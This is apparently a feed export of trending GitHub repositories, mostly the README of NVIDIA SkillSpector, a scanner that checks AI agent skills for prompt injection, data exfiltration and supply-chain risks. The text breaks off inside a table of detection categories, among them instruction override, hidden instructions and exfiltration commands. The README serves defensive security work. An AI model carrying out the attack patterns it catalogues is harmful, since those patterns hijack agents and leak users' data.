\n<ul> \n <li><strong>Shorthand Guide (Start Here):</strong> <a href=\"https://x.com/affaan/status/2012378465664745795\">The Shorthand Guide to ECC</a></li> \n <li><strong>Longform Guide (Advanced):</strong> <a href=\"https://x.com/affaan/status/2014040193557471352\">The Longform Guide to ECC</a></li> \n <li><strong>Security Guide:</strong> <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/the-security-guide.md\">Security Guide</a> | <a href=\"https://x.com/affaan/status/2033263813387223421\">Thread</a></li> \n <li><strong>Follow:</strong> <a href=\"https://x.com/affaan\">@affaan</a></li> \n</ul> \n<h2>License</h2> \n<p>MIT. Use it freely, adapt it to your workflow, and contribute back when you can.</p> \n<p><strong>Star this repo if it helps. Read the guides. Build something great.</strong></p>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/NVIDIA/SkillSpector", "url": "https://github.com/NVIDIA/SkillSpector", "external_url": null, "title": "NVIDIA/SkillSpector", "content_text": "", "content_html": "<p>Security scanner for AI agent skills. Detect vulnerabilities, malicious patterns, security risks, prompt injection, data exfiltration, and supply-chain risks in Claude Code, Codex, and MCP skills before you install them.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://docs.nvidia.com/skills/scanning-agent-skills\">https://docs.nvidia.com/skills/scanning-agent-skills</a></p><hr /><h1>SkillSpector</h1> \n<p><strong>Security scanner for AI agent skills.</strong> Detect vulnerabilities, malicious patterns, and security risks before installing agent skills.</p> \n<p><a href=\"https://www.python.org/downloads/\"><img alt=\"Python 3.12+\" src=\"https://img.shields.io/badge/python-3.12+-blue.svg?sanitize=true\" /></a> <a href=\"https://www.apache.org/licenses/LICENSE-2.0\"><img alt=\"License: Apache 2.0\" src=\"https://img.shields.io/badge/License-Apache%202.0-blue.svg?sanitize=true\" /></a></p> \n<h2>Overview</h2> \n<p>AI agent skills (used by Claude Code, Codex CLI, Gemini CLI, etc.) execute with implicit trust and minimal vetting. In the 31,132-skill analyzed subset of the research dataset, <strong>26.1% of skills contain vulnerabilities</strong> and <strong>5.2% show likely malicious intent</strong>.</p> \n<p>SkillSpector helps you answer: <strong>\"Is this skill safe to install?\"</strong></p> \n<p>SkillSpector is part of the <a href=\"https://docs.nvidia.com/skills/\">NVIDIA Verified Skills pipeline</a>, which scans, evaluates, and signs agent skills before publication. Skills that pass are published to the <a href=\"https://github.com/NVIDIA/skills\">NVIDIA skills catalog</a>.</p> \n<h2>Documentation</h2> \n<ul> \n <li><strong><a href=\"https://docs.nvidia.com/skills/scanning-agent-skills\">Scan agent skills before installation</a></strong> \u2014 Hosted guide: when to scan, how to read a report, and how to gate installs.</li> \n <li><strong><a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/DEVELOPMENT.md\">Development guide</a></strong> \u2014 Architecture, package layout, and how to extend the analyzer pipeline.</li> \n <li><strong><a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/ANALYSIS_RESOURCE_BOUNDS.md\">Analysis resource bounds</a></strong> \u2014 Fail-closed bundle, parser, nested-artifact, ledger, and finding ceilings.</li> \n <li><strong><a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/PI_EXTENSION.md\">Pi extension</a></strong> \u2014 Install SkillSpector as a Pi tool for scanning skills from inside agent sessions.</li> \n <li><strong><a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/OPENCODE_EXTENSION.md\">OpenCode extension</a></strong> \u2014 Install SkillSpector as an OpenCode tool and <code>/skillspector</code> command for scanning skills from inside agent sessions.</li> \n</ul> \n<h2>Features</h2> \n<ul> \n <li><strong>Multi-format input</strong>: Scan Git repos, URLs, zip files, directories, or single files</li> \n <li><strong>71 vulnerability patterns</strong> across 17 categories: prompt injection, data exfiltration, privilege escalation, supply chain, excessive agency, output handling, system prompt leakage, memory poisoning, tool misuse, rogue agent, anti-refusal, trigger abuse, dangerous code (AST), taint tracking, YARA signatures, MCP least privilege, and MCP tool poisoning</li> \n <li><strong>Two-stage analysis</strong>: Fast static analysis + optional LLM semantic evaluation</li> \n <li><strong>Live vulnerability lookups</strong>: SC4 queries <a href=\"https://osv.dev\">OSV.dev</a> for real-time CVE data with automatic offline fallback</li> \n <li><strong>Multiple output formats</strong>: Terminal, JSON, Markdown, and SARIF reports</li> \n <li><strong>Risk scoring</strong>: 0-100 score with severity labels and clear recommendations</li> \n <li><strong>Baseline / false-positive suppression</strong>: Accept known findings via a glob-rule or fingerprint baseline so re-scans surface only <em>new</em> issues (<a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/SUPPRESSION.md\">docs</a>)</li> \n</ul> \n<h2>Quick Start</h2> \n<h3>Installation</h3> \n<blockquote> \n <p><strong>Open-source software notice:</strong> This project will download and install additional third-party open source software projects. Review the license terms of these open source projects before use.</p> \n</blockquote> \n<p>Create and activate a virtual environment first (all <code>make</code> targets assume the venv is active). Use <strong>uv</strong> or <strong>pip</strong>; the Makefile uses <code>uv</code> if available, otherwise <code>pip</code>.</p> \n<p><strong>Quick install with uv (CLI-only):</strong></p> \n<pre><code class=\"language-bash\">uv tool install git+https://github.com/NVIDIA/skillspector.git\n# Update later: uv tool update skillspector\n</code></pre> \n<p>If you plan to run <code>skillspector mcp</code>, install the MCP extra at install time:</p> \n<pre><code class=\"language-bash\">uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'\n</code></pre> \n<p><strong>From source:</strong></p> \n<pre><code class=\"language-bash\"># Clone the repository\ngit clone https://github.com/NVIDIA/skillspector.git\ncd skillspector\n\n# Create and activate virtual environment\nuv venv .venv &amp;&amp; source .venv/bin/activate\n# or: python3 -m venv .venv &amp;&amp; source .venv/bin/activate\n\n# Install for production use\nmake install\n\n# Or install with development dependencies\nmake install-dev\n</code></pre> \n<h3>Docker (no Python required)</h3> \n<p>Run SkillSpector without installing Python by building it locally from the included <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/Dockerfile\">Dockerfile</a>. The image is based on the Docker Official Python <code>3.12-slim-bookworm</code> image.</p> \n<p><strong>Build the image:</strong></p> \n<pre><code class=\"language-bash\">make docker-build\n# or: docker build -t skillspector .\n</code></pre> \n<p><strong>Scan a local directory</strong> by mounting your current directory into <code>/scan</code>, the container's working directory:</p> \n<pre><code class=\"language-bash\">docker run --rm -v \"$PWD:/scan\" skillspector scan ./my-skill/ --no-llm\n</code></pre> \n<p><strong>Scan with LLM analysis</strong> by passing credentials with a local <code>.env</code> file:</p> \n<pre><code class=\"language-bash\">cat &gt; .env &lt;&lt;'EOF'\nSKILLSPECTOR_PROVIDER=anthropic\nANTHROPIC_API_KEY=sk-ant-...\nEOF\n</code></pre> \n<pre><code class=\"language-bash\">docker run --rm \\\n  -v \"$PWD:/scan\" \\\n  --env-file .env \\\n  skillspector scan ./my-skill/\n</code></pre> \n<p>Or pass credentials directly from your shell environment:</p> \n<pre><code class=\"language-bash\">docker run --rm \\\n  -v \"$PWD:/scan\" \\\n  -e SKILLSPECTOR_PROVIDER=anthropic \\\n  -e ANTHROPIC_API_KEY=\"$ANTHROPIC_API_KEY\" \\\n  skillspector scan ./my-skill/\n</code></pre> \n<p><strong>Write a report to the host filesystem</strong> by writing to the mounted directory:</p> \n<pre><code class=\"language-bash\">docker run --rm --user \"$(id -u):$(id -g)\" \\\n  -v \"$PWD:/scan\" \\\n  skillspector scan ./my-skill/ --no-llm --format json --output report.json\n</code></pre> \n<p><strong>Optional alias</strong> for repeated static scans:</p> \n<pre><code class=\"language-bash\">alias skillspector-docker='docker run --rm -v \"$PWD:/scan\" skillspector'\nskillspector-docker scan ./my-skill/ --no-llm\n</code></pre> \n<h3>Basic Usage</h3> \n<pre><code class=\"language-bash\"># Scan a local skill directory\nskillspector scan ./my-skill/\n\n# Scan a single SKILL.md file\nskillspector scan ./SKILL.md\n\n# Scan a Git repository\nskillspector scan https://github.com/user/my-skill\n\n# Scan a zip file\nskillspector scan ./my-skill.zip\n</code></pre> \n<h4>Size limits</h4> \n<p>SkillSpector enforces two independent caps on remote and archive inputs to bound the impact of oversized downloads and zip bombs:</p> \n<ul> \n <li><strong>Per-ingest cap</strong>: <code>INGEST_MAX_BYTES</code> (100 MiB) \u2014 applied to streamed URL downloads, total uncompressed size of zip archives, and post-clone disk usage of Git repos.</li> \n <li><strong>Zip member cap</strong>: <code>INGEST_MAX_ZIP_MEMBERS</code> (10,000) \u2014 caps the number of entries in a single zip.</li> \n</ul> \n<p>Note that the per-file 1 MB analysis cap (<code>MAX_FILE_BYTES</code>) is a separate, downstream limit: it bounds what individual analyzers will read out of an already-ingested directory. The ingest caps above bound how much content can land on disk in the first place. A breach of either ingest cap fails closed with an <code>IngestLimitExceededError</code>.</p> \n<h3>Output Formats</h3> \n<pre><code class=\"language-bash\"># Terminal output (default) - pretty formatted\nskillspector scan ./my-skill/\n\n# JSON output - machine readable\nskillspector scan ./my-skill/ --format json --output report.json\n\n# Markdown output - for documentation\nskillspector scan ./my-skill/ --format markdown --output report.md\n\n# SARIF output - for CI/CD integration and IDE tooling\nskillspector scan ./my-skill/ --format sarif --output report.sarif\n</code></pre> \n<h3>Batch Scanning</h3> \n<p>Scan entire directories of skills in parallel from <code>contrib/batch_scan/</code>:</p> \n<pre><code class=\"language-bash\">python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm\npython -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json\npython -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20\n</code></pre> \n<p>Supports multilingual detection (zh/ja/ko) and terminal/JSON/Markdown output.</p> \n<p>For LLM scans with higher concurrency, configure multiple API keys following <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/contrib/batch_scan/.env.example\"><code>.env.example</code></a> \u2014 the pool improves throughput and resilience, provided the keys don't share an account-level rate limit.</p> \n<p>See the <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/contrib/batch_scan/docs/\">contrib guide</a> for details.</p> \n<blockquote> \n <p><strong>Note on LLM support:</strong> The default configuration targets DeepSeek as the cheapest public option. DeepSeek-Chat is <a href=\"https://api-docs.deepseek.com/\">expected to sunset</a>, and the contributor does not have hardware to test against local models. The batch scanner was originally tested with OpenAI-compatible endpoints \u2014 DeepSeek's lack of structured-output support required manual JSON-parsing patches. If you can contribute a more universal backend (Ollama, vLLM, or a different provider), PRs are very welcome.</p> \n</blockquote> \n<h3>Comparing MCP Registry snapshots</h3> \n<p>Start with raw registry payload captures (<code>registry-before.json</code> and <code>registry-after.json</code>). Save a scan report as <code>previous.json</code>, then compare a later scan against that generated local report:</p> \n<pre><code class=\"language-bash\">skillspector scan registry-before.json --mcp-registry --format json --output previous.json\nskillspector scan registry-after.json --mcp-registry --format json \\\n  --mcp-registry-compare previous.json --output compared.json\n</code></pre> \n<p>The optional <code>comparison</code> object lists added and removed server identities, changed normalized fields with their previous and current values, and an <code>unchanged_count</code>. Identity is the server name and version, so a new version appears as an addition and the old version as a removal if it is absent from the new scan. Acquisition source and scan timestamp are excluded from comparison. <code>unmodeled_changes</code> lists same-identity records whose raw-record hash changed while normalized fields match; these are not counted as unchanged. This can indicate a change to fields outside the snapshot model, or array reordering in the raw record. Package and remote ordering alone is not a normalized field change. Entries in <code>changed</code> may also contain changes outside the snapshot model; inspect the raw record to see those changes. Compare reports with the same selection scope: a server absent from the current input is reported as removed, which does not prove it was removed from a registry.</p> \n<p>The comparison file must be a local report produced by this registry mode with valid normalized snapshots. Malformed, oversized or duplicate server identities are rejected. This option requires <code>--mcp-registry</code> and is separate from the finding-suppression <code>--baseline</code>: it never suppresses findings or changes risk scores, and it does not fetch or execute listed server endpoints.</p> \n<p>Registry mode rejects skill-only controls such as <code>--use-shipped-baseline</code>, <code>--transitive</code>, <code>--transitive-depth</code>, <code>--transitive-allow-prefix</code>, and <code>--transitive-deny-prefix</code> with exit code 2, including an explicitly supplied default depth (<code>--transitive-depth 1</code>). Omit these options for registry scans.</p> \n<h3>Suppressing False Positives (baseline)</h3> \n<p>Suppress known/accepted findings so the risk score reflects only un-triaged issues and re-scans surface only <em>new</em> findings. See the <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/SUPPRESSION.md\">suppression guide</a> for the full reference.</p> \n<pre><code class=\"language-bash\"># Accept all current findings into a baseline (run once), then commit it.\nskillspector baseline ./my-skill/ -o .skillspector-baseline.yaml\n\n# Scan against the baseline \u2014 only NEW findings are reported and scored.\nskillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml\n\n# Review what was suppressed (still excluded from the score).\nskillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml --show-suppressed\n</code></pre> \n<p>A baseline can also use drift-tolerant glob rules (by rule id, file path, or message) \u2014 see <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/.skillspector-baseline.example.yaml\"><code>.skillspector-baseline.example.yaml</code></a>. Exact fingerprint baselines are evidence-bound: changing the scanned source or SkillSpector version keeps the finding active until it is reviewed again. When a selected baseline or baseline output is stored inside the skill directory, SkillSpector excludes that exact file from content analysis so its suppression text cannot create findings or enter regenerated fingerprints; sibling files remain in normal scan scope.</p> \n<h3>Explicit scan scope</h3> \n<p>For a local directory containing one <code>SKILL.md</code> or <code>skill.md</code>, repeat <code>--exclude</code> to omit selected files before content analysis:</p> \n<pre><code class=\"language-bash\">skillspector scan ./my-skill --exclude 'tests/*' --exclude 'fixtures/*.json'\n</code></pre> \n<p>Patterns are case-sensitive globs matched against the entire relative POSIX path; <code>*</code> also matches <code>/</code>. Quote patterns so your shell does not expand them. This is an explicit caller option, not an author-controlled ignore file. Patterns matching either manifest name (<code>SKILL.md</code> or <code>skill.md</code>) are rejected, as are recursive, multi-skill, transitive, registry, and non-directory inputs. No-match patterns are still recorded in the report.</p> \n<p>Files already outside the scan inventory, such as policy-excluded dependencies, retain their existing policy handling and are not counted as caller exclusions. Explicitly excluded inventory files remain in the coverage denominator as entirely uninspected. The report lists the applied patterns, excluded count and individual skipped paths; any matched exclusion makes coverage partial and prevents a <code>SAFE</code> recommendation. Use <code>--fail-on-incomplete</code> when partial scope should fail CI. These exclusions do not suppress findings in included files or override existing safety limits.</p> \n<h3>LLM Analysis</h3> \n<p>For the best results, configure an OpenAI-compatible LLM endpoint for semantic analysis. Pick a provider with <code>SKILLSPECTOR_PROVIDER</code>; hosted providers ship bundled default models, while CLI providers fall back to the local runtime's default model unless <code>SKILLSPECTOR_MODEL</code> is set. SkillSpector also works against local OpenAI-compatible servers (Ollama, vLLM, llama.cpp) and managed inference gateways.</p> \n<table> \n <thead> \n  <tr> \n   <th>Provider (<code>SKILLSPECTOR_PROVIDER</code>)</th> \n   <th>Credential env var</th> \n   <th>Endpoint</th> \n   <th>Default model</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>openai</code></td> \n   <td><code>OPENAI_API_KEY</code> (+ optional <code>OPENAI_BASE_URL</code>)</td> \n   <td><a href=\"http://api.openai.com\">api.openai.com</a> (or any OpenAI-compatible URL)</td> \n   <td><code>gpt-5.4</code></td> \n  </tr> \n  <tr> \n   <td><code>anthropic</code></td> \n   <td><code>ANTHROPIC_API_KEY</code></td> \n   <td><a href=\"http://api.anthropic.com\">api.anthropic.com</a></td> \n   <td><code>claude-opus-4-6</code> (<code>meta_analyzer</code>: <code>claude-sonnet-4-6</code>)</td> \n  </tr> \n  <tr> \n   <td><code>anthropic_proxy</code></td> \n   <td><code>ANTHROPIC_PROXY_API_KEY</code> + <code>ANTHROPIC_PROXY_ENDPOINT_URL</code></td> \n   <td>Any Vertex-style raw-predict proxy</td> \n   <td><code>claude-sonnet-4-6</code></td> \n  </tr> \n  <tr> \n   <td><code>bedrock</code></td> \n   <td><code>AWS_PROFILE</code> (optional) + <code>AWS_REGION</code> \u2014 SigV4 via boto3</td> \n   <td>AWS Bedrock Runtime</td> \n   <td><code>us.anthropic.claude-sonnet-4-6</code></td> \n  </tr> \n  <tr> \n   <td><code>nv_build</code></td> \n   <td><code>NVIDIA_INFERENCE_KEY</code></td> \n   <td><a href=\"http://build.nvidia.com\">build.nvidia.com</a></td> \n   <td><code>z-ai/glm-5.3</code></td> \n  </tr> \n  <tr> \n   <td><code>gemini</code></td> \n   <td><code>GOOGLE_CLOUD_PROJECT</code> (+ optional <code>GOOGLE_CLOUD_LOCATION</code>) via ADC</td> \n   <td>Google Cloud OpenAI-compatible Gemini endpoint</td> \n   <td><code>gemini-3.8-flash</code></td> \n  </tr> \n  <tr> \n   <td><code>ollama</code></td> \n   <td><em>(none)</em></td> \n   <td><code>OLLAMA_BASE_URL</code> (default <code>http://localhost:11434/v1</code>)</td> \n   <td><code>llama3.1:8b</code></td> \n  </tr> \n  <tr> \n   <td><code>azure_openai</code></td> \n   <td><code>AZURE_OPENAI_API_KEY</code> + <code>AZURE_OPENAI_ENDPOINT</code></td> \n   <td>Azure OpenAI Service</td> \n   <td><code>gpt-4o</code> (deployment defaults to the model label)</td> \n  </tr> \n  <tr> \n   <td><code>openai_compatible</code></td> \n   <td><code>SKILLSPECTOR_COMPAT_API_KEY</code> + <code>SKILLSPECTOR_COMPAT_BASE_URL</code></td> \n   <td>Any OpenAI-compatible endpoint</td> \n   <td><code>llama-3.1-70b-versatile</code></td> \n  </tr> \n  <tr> \n   <td><code>claude_cli</code></td> \n   <td><em>(none \u2014 uses local CLI auth)</em></td> \n   <td>local <code>claude</code> binary</td> \n   <td>local Claude runtime fallback, or <code>SKILLSPECTOR_MODEL</code></td> \n  </tr> \n  <tr> \n   <td><code>codex_cli</code></td> \n   <td>Disabled</td> \n   <td>Registered for compatibility; its read-only sandbox permits host-file reads</td> \n   <td>Use an HTTP API provider or another supported CLI provider</td> \n  </tr> \n  <tr> \n   <td><code>gemini_cli</code></td> \n   <td><em>(none \u2014 uses local CLI auth)</em></td> \n   <td>local <code>gemini</code> binary</td> \n   <td>local Gemini runtime fallback, or <code>SKILLSPECTOR_MODEL</code></td> \n  </tr> \n  <tr> \n   <td><code>opencode_cli</code></td> \n   <td><em>(none \u2014 uses local CLI auth)</em></td> \n   <td>local <code>opencode</code> 1.18.33 binary</td> \n   <td>local OpenCode runtime fallback, or <code>SKILLSPECTOR_MODEL</code></td> \n  </tr> \n </tbody> \n</table> \n<p><code>gpt-6.1-sol</code>, <code>claude-opus-5-5</code>, and <code>claude-sonnet-5-5</code> remain opt-in through <code>SKILLSPECTOR_MODEL</code> or per-slot overrides. Promoting them to defaults requires live scanner acceptance covering benign input, credential disclosure, prompt injection, refusals, and incomplete responses. Record findings, completion status, latency, and usage, and compare against previous defaults where accessible.</p> \n<p>For NVIDIA Build's <code>z-ai/glm-5.3</code>, SkillSpector requests <code>high</code> reasoning effort. Set <code>SKILLSPECTOR_REASONING_EFFORT</code> to override it with <code>low</code>, <code>high</code>, or <code>max</code>. The bundled 128,000-token context and 32,000-token output budgets are conservative application limits; they do not claim the hosted endpoint's maximum capacity.</p> \n<p>Structured output is requested through LangChain's <code>with_structured_output</code>. The default is client-specific: <code>ChatOpenAI</code> uses <code>json_schema</code>, while other clients may use tool calling. Some models reject a forced tool call with HTTP 400 (<code>tool_choice: type \"tool\" and \"any\" are not supported for this model</code>). The <code>anthropic</code> and <code>anthropic_proxy</code> providers route those models (<code>claude-opus-5-5</code>, <code>claude-sonnet-5-5</code>, <code>claude-fable-5-1</code>, <code>claude-mythos-5-1</code>, or any registry entry with <code>structured_output: json_schema</code>) to the native JSON-schema response format. Bedrock has no JSON-schema output for them, so the <code>bedrock</code> provider leaves <code>toolChoice</code> at <code>auto</code>, asks for the tool call in the prompt, and retries a prose answer; it recognises the model from the model ID, a geo/global inference-profile ID, or a foundation-model / inference-profile ARN. An application-inference-profile ARN hides the model, so add that ARN to the registry (<code>SKILLSPECTOR_MODEL_REGISTRY</code>) with <code>tool_choice: auto</code>. The <code>openai_compatible</code> provider honours the same <code>tool_choice: auto</code> entry for endpoints that ignore both <code>response_format</code> and a forced <code>tool_choice</code> and answer in prose (for example iFlytek's <code>spark-x2.5</code>, which is bundled). The <code>anthropic</code>, <code>anthropic_proxy</code>, <code>openai</code>, and <code>openai_compatible</code> providers also recognise those Claude models inside gateway model IDs such as <code>anthropic/claude-opus-5-5</code> or <code>aws/anthropic/bedrock-claude-opus-5-5</code>. Some OpenAI-compatible gateways turn a <code>json_schema</code> response format for Claude into a forced tool call, so the <code>openai</code> and <code>openai_compatible</code> providers bind the schema as a tool with <code>tool_choice</code> left at <code>auto</code> and retry a prose answer. <code>SKILLSPECTOR_STRUCTURED_OUTPUT_METHOD=json_schema|function_calling</code> overrides the method for any provider. The method precedence is <code>SKILLSPECTOR_STRUCTURED_OUTPUT_METHOD</code>, the provider's method hint, an analyzer preference, then the client default. TP4 prefers <code>function_calling</code> only for provider <code>openai</code> and the exact model label <code>azure/anthropic/claude-opus-5</code>, with reasoning/thinking controls unset; dated or suffixed labels and other providers keep their existing behavior. An explicit environment override or provider hint still wins when reasoning is configured.</p> \n<pre><code class=\"language-bash\"># Stock OpenAI\nexport SKILLSPECTOR_PROVIDER=openai\nexport OPENAI_API_KEY=sk-...\nskillspector scan ./my-skill/\n\n# Anthropic\nexport SKILLSPECTOR_PROVIDER=anthropic\nexport ANTHROPIC_API_KEY=sk-ant-...\nskillspector scan ./my-skill/\n\n# Anthropic via Vertex-style proxy (corporate gateways, GCP Vertex AI)\nexport SKILLSPECTOR_PROVIDER=anthropic_proxy\nexport ANTHROPIC_PROXY_ENDPOINT_URL=https://my-gateway.example.com/models/claude-sonnet-4-6:streamRawPredict\nexport ANTHROPIC_PROXY_API_KEY=your-bearer-token\nexport SKILLSPECTOR_MODEL=claude-sonnet-4-6\nskillspector scan ./my-skill/\n\n# AWS Bedrock (Claude via SigV4)\nexport SKILLSPECTOR_PROVIDER=bedrock\n# Optional: select an AWS named profile. When unset, the standard\n# boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves.\n# export AWS_PROFILE=my-profile\nexport AWS_REGION=us-west-2  # default if unset\n# Default model: us.anthropic.claude-sonnet-4-6\n# Override with any Bedrock model ID, cross-region inference-profile\n# ID, or your own application-inference-profile ARN. Claude 5.5 is opt-in:\n# us./eu. profiles keep requests in that geography, global. routes worldwide.\n# export SKILLSPECTOR_MODEL=us.anthropic.claude-sonnet-5-5\nskillspector scan ./my-skill/\n\n# NVIDIA build.nvidia.com\nexport SKILLSPECTOR_PROVIDER=nv_build\nexport NVIDIA_INFERENCE_KEY=nvapi-...\nskillspector scan ./my-skill/\n\n# Gemini on Google Cloud (Application Default Credentials / Workload Identity)\n# Prerequisites:\n#   1. Google Cloud project with billing enabled.\n#   2. Enable Gemini Enterprise Agent Platform / Vertex AI API: `aiplatform.googleapis.com`.\n#   3. IAM permission: grant `roles/aiplatform.user` (or at minimum `aiplatform.endpoints.predict`)\n#      to your user account or Kubernetes service account.\n#   4. Local authentication: run `gcloud auth application-default login`.\n#      Configure a quota project if needed: `gcloud auth application-default set-quota-project PROJECT_ID`.\n#   5. Kubernetes / GKE: configure Workload Identity and leave GOOGLE_APPLICATION_CREDENTIALS unset\n#      rather than exporting service account keys.\n# Note on Data Residency:\n#   The default `global` endpoint does not support data-residency requirements. While you can target\n#   `us`, `eu`, or regional endpoints (e.g. `us-central1`), endpoint selection alone does not guarantee\n#   data residency or in-region processing without appropriate organizational policies. Always verify\n#   that your selected model is supported in your target location.\n# Optional credentials:\n#   GOOGLE_APPLICATION_CREDENTIALS is optional and can reference Workload or Workforce Identity Federation\n#   configuration files; exporting long-lived service account keys is discouraged.\nexport SKILLSPECTOR_PROVIDER=gemini\nexport GOOGLE_CLOUD_PROJECT=my-project-id\n# export GOOGLE_CLOUD_LOCATION=global  # default is global; or us, eu, or specific region (e.g. us-central1)\n# Default model: gemini-3.8-flash\n# export SKILLSPECTOR_MODEL=gemini-3.7-flash\nskillspector scan ./my-skill/\n\n# Local Claude CLI \u2014 no API key; uses your existing `claude auth login` session\n# Requires: claude CLI installed and authenticated (claude auth login)\nexport SKILLSPECTOR_PROVIDER=claude_cli\n# Uses the local Claude CLI runtime fallback unless SKILLSPECTOR_MODEL is set.\n# export SKILLSPECTOR_MODEL=claude-sonnet-4-6\nskillspector scan ./my-skill/\n\n# Gemini (via OpenAI compatibility layer)\nexport SKILLSPECTOR_PROVIDER=openai\nexport OPENAI_API_KEY=\"YOUR_GEMINI_API_KEY\"\nexport OPENAI_BASE_URL=\"https://generativelanguage.googleapis.com/v1beta/openai/\"\nexport SKILLSPECTOR_MODEL=gemini-3.5-flash\nskillspector scan ./my-skill/\n\n# Local Ollama \u2014 no API key\nexport SKILLSPECTOR_PROVIDER=ollama\n# export OLLAMA_BASE_URL=http://localhost:11434/v1  # shown default\nexport SKILLSPECTOR_MODEL=llama3.1:8b\nskillspector scan ./my-skill/\n\n# Azure OpenAI\nexport SKILLSPECTOR_PROVIDER=azure_openai\nexport AZURE_OPENAI_API_KEY=...\nexport AZURE_OPENAI_ENDPOINT=https://example.openai.azure.com/\nexport AZURE_OPENAI_DEPLOYMENT=my-deployment\nskillspector scan ./my-skill/\n\n# Any other OpenAI-compatible endpoint\nexport SKILLSPECTOR_PROVIDER=openai_compatible\nexport SKILLSPECTOR_COMPAT_API_KEY=...\nexport SKILLSPECTOR_COMPAT_BASE_URL=https://api.groq.com/openai/v1\nexport SKILLSPECTOR_MODEL=llama-3.1-70b-versatile\nskillspector scan ./my-skill/\n\n# Override the provider's default model\nexport SKILLSPECTOR_MODEL=gpt-5.2\nskillspector scan ./my-skill/\n\n# Skip LLM analysis (faster, static analysis only)\nskillspector scan ./my-skill/ --no-llm\n</code></pre> \n<h3>MCP Server</h3> \n<p>Run SkillSpector as a <a href=\"https://modelcontextprotocol.io\">Model Context Protocol</a> server so local MCP-capable agents (Claude Code, Codex CLI, Gemini CLI) can call scanning as a tool and <strong>gate skill/MCP installs on the result</strong> \u2014 turning SkillSpector into a runtime guardrail instead of an out-of-band audit step.</p> \n<p><code>skillspector mcp</code> requires <code>skillspector[mcp]</code>.</p> \n<pre><code class=\"language-bash\"># Install, or reinstall if you already used the CLI-only path\nuv tool install --force 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'\n\n# FastMCP stdio transport for local CLI agents\nskillspector mcp\n\n# Streamable HTTP transport on a local loopback interface\nskillspector mcp --transport http --host 127.0.0.1 --port 8000\n</code></pre> \n<p>The stdio transport is the current FastMCP path for local CLI agents, and the initialize hang reported in issue #199 still applies there.</p> \n<p>The server exposes a single tool:</p> \n<ul> \n <li><strong><code>scan_skill(target, use_llm=true, output_format=\"json\")</code></strong> \u2014 scans a Git URL, file URL, <code>.zip</code>, <code>.md</code> file, or directory and returns a structured verdict: <code>risk_score</code> (0-100), <code>severity</code>, <code>recommendation</code>, <code>safe_to_install</code>, and <code>findings</code>. It also reports <code>llm_used</code> / <code>scan_mode</code> so a low score from a static-only scan is never mistaken for a clean full scan.</li> \n</ul> \n<p>Register it with Claude Code via:</p> \n<pre><code class=\"language-bash\">claude mcp add skillspector -- skillspector mcp\n</code></pre> \n<blockquote> \n <p><strong>Security \u2014 HTTP transport trust model</strong></p> \n <p>The HTTP transport ships <strong>without authentication</strong>. Any caller that can reach the port can invoke <code>scan_skill</code>. HTTP bindings are restricted to loopback IPs (<code>127.0.0.1</code> or <code>::1</code>); <code>localhost</code> binds to <code>127.0.0.1</code> without DNS resolution. Wildcard, routable and other hostname bindings are rejected.</p> \n <ul> \n  <li>For remote access, put an authenticating reverse proxy (e.g. nginx + mTLS) in front of the loopback listener.</li> \n  <li>Local paths and <code>file://</code> URLs are <strong>automatically rejected</strong> over HTTP to prevent unauthenticated callers from reading arbitrary host files. Only remote Git and <code>.zip</code> URLs are accepted.</li> \n </ul> \n <p>HTTP scans accept only credential-free <code>https://</code> targets. Git scans never use the server's Git login or Git config. If a proxy or custom CA is needed, set <code>HTTPS_PROXY</code>, <code>NO_PROXY</code> or <code>GIT_SSL_CAINFO</code> in the server environment. Use stdio or the CLI for private repositories. Git redirects are rejected; use the current repository URL after a rename or transfer.</p> \n</blockquote> \n<h2>Vulnerability Patterns</h2> \n<p>SkillSpector detects <strong>71 vulnerability patterns</strong> across 17 categories:</p> \n<h3>Prompt Injection (6 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>P1</td> \n   <td>Instruction Override</td> \n   <td>HIGH</td> \n   <td>Commands to ignore safety constraints</td> \n  </tr> \n  <tr> \n   <td>P2</td> \n   <td>Hidden Instructions</td> \n   <td>HIGH</td> \n   <td>Malicious directives in comments/invisible text</td> \n  </tr> \n  <tr> \n   <td>P3</td> \n   <td>Exfiltration Commands</td> \n   <td>HIGH</td> \n   <td>Instructions to transmit context externally</td> \n  </tr> \n  <tr> \n   <td>P4</td> \n   <td>Behavior Manipulation</td> \n   <td>MEDIUM</td> \n   <td>Subtle instructions altering agent decisions</td> \n  </tr> \n  <tr> \n   <td>P5</td> \n   <td>Harmful Content</td> \n   <td>CRITICAL</td> \n   <td>Instructions that could cause physical harm</td> \n  </tr> \n  <tr> \n   <td>P9</td> \n   <td>Whitespace Padding</td> \n   